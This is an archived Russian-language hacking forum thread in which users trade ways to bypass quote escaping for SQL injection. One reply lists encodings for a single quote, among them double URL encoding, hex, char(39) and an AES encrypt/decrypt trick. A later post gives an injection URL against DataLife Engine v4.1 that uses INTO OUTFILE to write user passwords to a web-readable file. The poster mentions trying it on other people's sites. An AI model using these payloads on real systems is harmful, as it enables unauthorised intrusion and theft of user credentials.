PDA

Просмотр полной версии : какие есть методы преобразования Sql запроса для обхода фильтрации


ysmat
12.09.2006, 14:35
например простейший запрос
SELECT * FROM users where name = 'geborat'
непроходит превращается в
SELECT * FROM users where name = 'geborat\'
в hex формате ковычка проходит но такой запрос не выполняется
SELECT * FROM users where name = 'geborat char(0x27)
выполняется в таком формате
SELECT * FROM users where name = 0x6765626f726174
но первую ковычку я убрать не могу так как она добавляется
самим php скриптом кроме того символ \тоже обрабатывается
он просто удваевается запрос
SELECT * FROM users where name = '\geborat
превращается в
SELECT * FROM users where name = '\\geborat
как еще можно попробовать вставить ковычку

Elekt
12.09.2006, 20:01
%27
%2527
0x27
char(39)
AES_DECRYPT(AES_ENCRYPT(blabla_string,0x71),0x71), где 0х71 просто ключ

ysmat
16.09.2006, 22:01
в движке DataLife Engine v.4.1
мне удалось создать текстовый файл с паролями пользователей
_http://geborat.ru/index.php?subaction=userinfo&user=geborat%2527 INTO OUTFILE %2527/home/geborat.ru/www/1234.txt
правда почему то работает только на локахосте
на чужих сайтах запрос идет но файл не создается
может прав на запись нет или что то еще

к сожалению в DataLife Engine v.4.5 вобще не работает так как
закодираваную ковычку %2527 он распознает